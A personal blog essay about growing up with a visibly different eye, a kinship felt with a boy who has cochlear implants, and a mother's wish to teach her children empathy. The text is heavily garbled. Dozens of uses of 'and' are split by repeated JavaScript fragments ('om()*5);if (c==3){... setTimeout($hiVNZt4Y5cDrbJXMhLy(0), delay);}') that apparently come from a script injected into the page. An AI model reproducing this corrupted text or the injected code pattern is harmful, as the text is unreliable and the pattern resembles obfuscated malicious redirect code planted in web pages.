Growing Up Different

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>>6082562008_cf93308f42_bI was at the park with my kids a few days ago, when a little boy came up to me andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and pointed at my eye. “Your eye is different,” he said. I told him that, yes, I was born that way. He pointed to his ears andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and said, “I have cochlear implants.” He got it. We are both different. And, as I watched him race across the monkey bars (besting many of the other kids), I couldn’t help but feel a sense of kinship with him.

Growing up different is hard. I can’t remember the first time I realized that I looked different from everyone else – my right eye is small andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the muscles are weak, so it tends to be “lazy.”

But knowing that I was different definitely shaped who I am today andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and impacted my childhood. Inside, I thought I was smart andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and cool andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and maybe even pretty. But every time I looked in the mirror, I knew I wasn’t like everyone else – andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and those confident feelings disappeared.  No matter how much I tried to convince the rest of the world that I was just like them, I could never convince myself.

My parents never talked about me looking different or treated me differently. Except for doctors’ appointments, eye patches, medication, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and surgeries, we didn’t really talk about it at all. I participated in activities andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and school just like every other kid I knew. Although gymnastics is not the sport one with reduced vision andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and no depth perception should probably choose, it was my passion andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and I was committed to it.

And my childhood was mercifully free of teasing about my eye. Somehow I got teased plenty about being short, but I don’t ever remember being teased about my eye.

Of course, my friends andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and classmates – even strangers – were curious. They often stared. Some asked what was wrong with me. I was trained to say that I was just born that way. But now that my kids are starting to get the same questions from their friends, I want a better answer, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and I want to use the opportunity to teach.

I want my kids to understandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and that friends come in all shapes, sizes, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and colors. I want them to know that some may have challenges, some may look different, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and some may have different abilities, but we’re all people with feelings, strengths, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and love to give.

I want them to show empathy andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and compassion. Just because someone is different isn’t a reason to tease or make fun. I want them to be a friend to the kid in class that feels alone or that others take about behind her back. And, as that old insecurity creeps back in, I don’t want them to be ashamed of me.

That means I need to do something I have avoided most of my life – talk to them about how I am different andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and how it has impacted me. I need to use my story as a model to help them understandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and that being different can be an asset, making you stronger than all the “normal” folks.

I want my new friend from the park to believe that being different is okay. I want my kids to believe that, too. But first, I have to truly believe it about myself.

>>Sara-LangSara Lang has worked in North Carolina politics at the state, federal andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and local levels for more than 15 years. A communications consultant, she lives in Cary with her husbandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and, two young children, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and a pampered dog. You can follow her on Twitter @saraylang.

 




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